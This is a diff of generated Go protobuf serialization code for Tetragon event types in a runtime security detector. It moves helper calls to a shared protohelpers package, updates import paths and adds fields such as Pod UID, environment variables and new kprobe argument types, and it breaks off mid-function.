-4676,11 +5981,11 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -4695,7 +6000,7 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4712,7 +6017,7 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { var stringLenmapkey uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4726,11 +6031,11 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { } intStringLenmapkey := int(stringLenmapkey) if intStringLenmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapkey := iNdEx + intStringLenmapkey if postStringIndexmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapkey > l { return io.ErrUnexpectedEOF @@ -4740,7 +6045,7 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { } else if fieldNum == 2 { for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4754,12 +6059,12 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { } } else { iNdEx = entryPreIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > postIndex { return io.ErrUnexpectedEOF @@ -4771,12 +6076,12 @@ func (m *ProcessInternal) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -4799,7 +6104,7 @@ func (m *DumpProcessCacheResArgs) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4827,7 +6132,7 @@ func (m *DumpProcessCacheResArgs) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4840,11 +6145,11 @@ func (m *DumpProcessCacheResArgs) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -4856,12 +6161,12 @@ func (m *DumpProcessCacheResArgs) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -4884,7 +6189,7 @@ func (m *GetDebugRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4912,7 +6217,7 @@ func (m *GetDebugRequest) UnmarshalVT(dAtA []byte) error { m.Flag = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4931,7 +6236,7 @@ func (m *GetDebugRequest) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -4944,11 +6249,11 @@ func (m *GetDebugRequest) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -4967,12 +6272,12 @@ func (m *GetDebugRequest) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -4995,7 +6300,7 @@ func (m *GetDebugResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5023,7 +6328,7 @@ func (m *GetDebugResponse) UnmarshalVT(dAtA []byte) error { m.Flag = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5042,7 +6347,7 @@ func (m *GetDebugResponse) UnmarshalVT(dAtA []byte) error { var v LogLevel for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5062,7 +6367,7 @@ func (m *GetDebugResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5075,11 +6380,11 @@ func (m *GetDebugResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -5098,12 +6403,12 @@ func (m *GetDebugResponse) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -5126,7 +6431,7 @@ func (m *SetDebugRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5154,7 +6459,7 @@ func (m *SetDebugRequest) UnmarshalVT(dAtA []byte) error { m.Flag = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5173,7 +6478,7 @@ func (m *SetDebugRequest) UnmarshalVT(dAtA []byte) error { var v LogLevel for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5188,12 +6493,12 @@ func (m *SetDebugRequest) UnmarshalVT(dAtA []byte) error { m.Arg = &SetDebugRequest_Level{Level: v} default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -5216,7 +6521,7 @@ func (m *SetDebugResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5244,7 +6549,7 @@ func (m *SetDebugResponse) UnmarshalVT(dAtA []byte) error { m.Flag = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5263,7 +6568,7 @@ func (m *SetDebugResponse) UnmarshalVT(dAtA []byte) error { var v LogLevel for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -5278,12 +6583,12 @@ func (m *SetDebugResponse) UnmarshalVT(dAtA []byte) error { m.Arg = &SetDebugResponse_Level{Level: v} default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF diff --git a/event-processor/detector/api/tetragon/stack.pb.go b/event-processor/detector/api/tetragon/stack.pb.go index 91861fc7..1d0d9663 100644 --- a/event-processor/detector/api/tetragon/stack.pb.go +++ b/event-processor/detector/api/tetragon/stack.pb.go @@ -4,7 +4,7 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/stack.proto package tetragon diff --git a/event-processor/detector/api/tetragon/stack_vtproto.pb.go b/event-processor/detector/api/tetragon/stack_vtproto.pb.go index 10e2d071..8ea6fabf 100644 --- a/event-processor/detector/api/tetragon/stack_vtproto.pb.go +++ b/event-processor/detector/api/tetragon/stack_vtproto.pb.go @@ -4,13 +4,14 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/stack.proto package tetragon import ( fmt "fmt" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" protoimpl "google.golang.org/protobuf/runtime/protoimpl" io "io" ) @@ -55,12 +56,12 @@ func (m *StackAddress) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Symbol) > 0 { i -= len(m.Symbol) copy(dAtA[i:], m.Symbol) - i = encodeVarint(dAtA, i, uint64(len(m.Symbol))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Symbol))) i-- dAtA[i] = 0x12 } if m.Address != 0 { - i = encodeVarint(dAtA, i, uint64(m.Address)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Address)) i-- dAtA[i] = 0x8 } @@ -104,7 +105,7 @@ func (m *StackTrace) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -143,14 +144,14 @@ func (m *StackTraceLabel) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Count != 0 { - i = encodeVarint(dAtA, i, uint64(m.Count)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Count)) i-- dAtA[i] = 0x10 } if len(m.Key) > 0 { i -= len(m.Key) copy(dAtA[i:], m.Key) - i = encodeVarint(dAtA, i, uint64(len(m.Key))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Key))) i-- dAtA[i] = 0xa } @@ -194,7 +195,7 @@ func (m *StackTraceNode) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x22 } @@ -206,13 +207,13 @@ func (m *StackTraceNode) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } } if m.Count != 0 { - i = encodeVarint(dAtA, i, uint64(m.Count)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Count)) i-- dAtA[i] = 0x10 } @@ -222,7 +223,7 @@ func (m *StackTraceNode) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -236,11 +237,11 @@ func (m *StackAddress) SizeVT() (n int) { var l int _ = l if m.Address != 0 { - n += 1 + sov(uint64(m.Address)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Address)) } l = len(m.Symbol) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -255,7 +256,7 @@ func (m *StackTrace) SizeVT() (n int) { if len(m.Addresses) > 0 { for _, e := range m.Addresses { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -270,10 +271,10 @@ func (m *StackTraceLabel) SizeVT() (n int) { _ = l l = len(m.Key) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Count != 0 { - n += 1 + sov(uint64(m.Count)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Count)) } n += len(m.unknownFields) return n @@ -287,21 +288,21 @@ func (m *StackTraceNode) SizeVT() (n int) { _ = l if m.Address != nil { l = m.Address.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Count != 0 { - n += 1 + sov(uint64(m.Count)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Count)) } if len(m.Labels) > 0 { for _, e := range m.Labels { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.Children) > 0 { for _, e := range m.Children { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -316,7 +317,7 @@ func (m *StackAddress) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -344,7 +345,7 @@ func (m *StackAddress) UnmarshalVT(dAtA []byte) error { m.Address = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -363,7 +364,7 @@ func (m *StackAddress) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -377,11 +378,11 @@ func (m *StackAddress) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -390,12 +391,12 @@ func (m *StackAddress) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -418,7 +419,7 @@ func (m *StackTrace) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -446,7 +447,7 @@ func (m *StackTrace) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -459,11 +460,11 @@ func (m *StackTrace) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -475,12 +476,12 @@ func (m *StackTrace) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -503,7 +504,7 @@ func (m *StackTraceLabel) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -531,7 +532,7 @@ func (m *StackTraceLabel) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -545,11 +546,11 @@ func (m *StackTraceLabel) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -563,7 +564,7 @@ func (m *StackTraceLabel) UnmarshalVT(dAtA []byte) error { m.Count = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -577,12 +578,12 @@ func (m *StackTraceLabel) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -605,7 +606,7 @@ func (m *StackTraceNode) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -633,7 +634,7 @@ func (m *StackTraceNode) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -646,11 +647,11 @@ func (m *StackTraceNode) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -669,7 +670,7 @@ func (m *StackTraceNode) UnmarshalVT(dAtA []byte) error { m.Count = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -688,7 +689,7 @@ func (m *StackTraceNode) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -701,11 +702,11 @@ func (m *StackTraceNode) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -722,7 +723,7 @@ func (m *StackTraceNode) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -735,11 +736,11 @@ func (m *StackTraceNode) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -751,12 +752,12 @@ func (m *StackTraceNode) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF diff --git a/event-processor/detector/api/tetragon/tetragon.pb.go b/event-processor/detector/api/tetragon/tetragon.pb.go index 5079bdfa..11004d0f 100644 --- a/event-processor/detector/api/tetragon/tetragon.pb.go +++ b/event-processor/detector/api/tetragon/tetragon.pb.go @@ -4,14 +4,14 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/tetragon.proto package tetragon import ( - timestamppb "github.com/knqyf263/go-plugin/types/known/timestamppb" - wrapperspb "github.com/knqyf263/go-plugin/types/known/wrapperspb" + timestamppb "github.com/runtime-radar/go-plugin/types/known/timestamppb" + wrapperspb "github.com/runtime-radar/go-plugin/types/known/wrapperspb" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" ) @@ -57,6 +57,8 @@ const ( KprobeAction_KPROBE_ACTION_NOTIFYENFORCER KprobeAction = 13 // CleanupEnforcerNotification action cleanups any state left by NotifyEnforcer KprobeAction_KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION KprobeAction = 14 + // Set action sets first USDT argument + KprobeAction_KPROBE_ACTION_SET KprobeAction = 15 ) // Enum value maps for KprobeAction. @@ -77,6 +79,7 @@ var ( 12: "KPROBE_ACTION_UNTRACKSOCK", 13: "KPROBE_ACTION_NOTIFYENFORCER", 14: "KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION", + 15: "KPROBE_ACTION_SET", } KprobeAction_value = map[string]int32{ "KPROBE_ACTION_UNKNOWN": 0, @@ -94,6 +97,7 @@ var ( "KPROBE_ACTION_UNTRACKSOCK": 12, "KPROBE_ACTION_NOTIFYENFORCER": 13, "KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION": 14, + "KPROBE_ACTION_SET": 15, } ) @@ -352,6 +356,8 @@ type Pod struct { Namespace string `protobuf:"bytes,1,opt,name=namespace,proto3" json:"namespace,omitempty"` // Name of the Pod. Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + // UID of the Pod. + Uid string `protobuf:"bytes,3,opt,name=uid,proto3" json:"uid,omitempty"` // Container of the Pod from which the process that triggered the event // originates. Container *Container `protobuf:"bytes,4,opt,name=container,proto3" json:"container,omitempty"` @@ -383,6 +389,13 @@ func (x *Pod) GetName() string { return "" } +func (x *Pod) GetUid() string { + if x != nil { + return x.Uid + } + return "" +} + func (x *Pod) GetContainer() *Container { if x != nil { return x.Container @@ -882,6 +895,34 @@ func (x *UserRecord) GetName() string { return "" } +// Environment variable +type EnvVar struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"` +} + +func (x *EnvVar) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *EnvVar) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *EnvVar) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + type Process struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -997,6 +1038,8 @@ type Process struct { // for example, you wish to discern whether a process was spawned using a // tool like nsenter or kubectl exec. InInitTree *wrapperspb.BoolValue `protobuf:"bytes,20,opt,name=in_init_tree,json=inInitTree,proto3" json:"in_init_tree,omitempty"` + // Environment variables passed to the binary at execution. + EnvironmentVariables []*EnvVar `protobuf:"bytes,21,rep,name=environment_variables,json=environmentVariables,proto3" json:"environment_variables,omitempty"` } func (x *Process) ProtoReflect() protoreflect.Message { @@ -1143,6 +1186,13 @@ func (x *Process) GetInInitTree() *wrapperspb.BoolValue { return nil } +func (x *Process) GetEnvironmentVariables() []*EnvVar { + if x != nil { + return x.EnvironmentVariables + } + return nil +} + type ProcessExec struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1499,6 +1549,33 @@ func (x *KprobeSockaddr) GetPort() uint32 { return 0 } +type KprobeSockaddrUn struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Family string `protobuf:"bytes,1,opt,name=family,proto3" json:"family,omitempty"` + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` +} + +func (x *KprobeSockaddrUn) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *KprobeSockaddrUn) GetFamily() string { + if x != nil { + return x.Family + } + return "" +} + +func (x *KprobeSockaddrUn) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + type KprobeNetDev struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1806,6 +1883,41 @@ func (x *KprobeBpfAttr) GetProgName() string { return "" } +type KprobeBpfProg struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + ProgType string `protobuf:"bytes,1,opt,name=ProgType,proto3" json:"ProgType,omitempty"` + InsnCnt uint32 `protobuf:"varint,2,opt,name=InsnCnt,proto3" json:"InsnCnt,omitempty"` + ProgName string `protobuf:"bytes,3,opt,name=ProgName,proto3" json:"ProgName,omitempty"` +} + +func (x *KprobeBpfProg) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *KprobeBpfProg) GetProgType() string { + if x != nil { + return x.ProgType + } + return "" +} + +func (x *KprobeBpfProg) GetInsnCnt() uint32 { + if x != nil { + return x.InsnCnt + } + return 0 +} + +func (x *KprobeBpfProg) GetProgName() string { + if x != nil { + return x.ProgName + } + return "" +} + type KprobePerfEvent struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1900,6 +2012,25 @@ func (x *KprobeBpfMap) GetMapName() string { return "" } +type KprobeError struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Message string `protobuf:"bytes,1,opt,name=Message,proto3" json:"Message,omitempty"` +} + +func (x *KprobeError) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *KprobeError) GetMessage() string { + if x != nil { + return x.Message + } + return "" +} + type SyscallId struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1963,6 +2094,9 @@ type KprobeArgument struct { // *KprobeArgument_BpfCmdArg // *KprobeArgument_SyscallId // *KprobeArgument_SockaddrArg + // *KprobeArgument_BpfProgArg + // *KprobeArgument_ErrorArg + // *KprobeArgument_SockaddrunArg Arg isKprobeArgument_Arg `protobuf_oneof:"arg"` Label string `protobuf:"bytes,18,opt,name=label,proto3" json:"label,omitempty"` } @@ -2098,6 +2232,13 @@ func (x *KprobeArgument) GetCapabilityArg() *KprobeCapability { return nil } +func (x *KprobeArgument) GetLabel() string { + if x != nil { + return x.Label + } + return "" +} + func (x *KprobeArgument) GetProcessCredentialsArg() *ProcessCredentials { if x, ok := x.GetArg().(*KprobeArgument_ProcessCredentialsArg); ok { return x.ProcessCredentialsArg @@ -2182,11 +2323,25 @@ func (x *KprobeArgument) GetSockaddrArg() *KprobeSockaddr { return nil } -func (x *KprobeArgument) GetLabel() string { - if x != nil { - return x.Label +func (x *KprobeArgument) GetBpfProgArg() *KprobeBpfProg { + if x, ok := x.GetArg().(*KprobeArgument_BpfProgArg); ok { + return x.BpfProgArg } - return "" + return nil +} + +func (x *KprobeArgument) GetErrorArg() *KprobeError { + if x, ok := x.GetArg().(*KprobeArgument_ErrorArg); ok { + return x.ErrorArg + } + return nil +} + +func (x *KprobeArgument) GetSockaddrunArg() 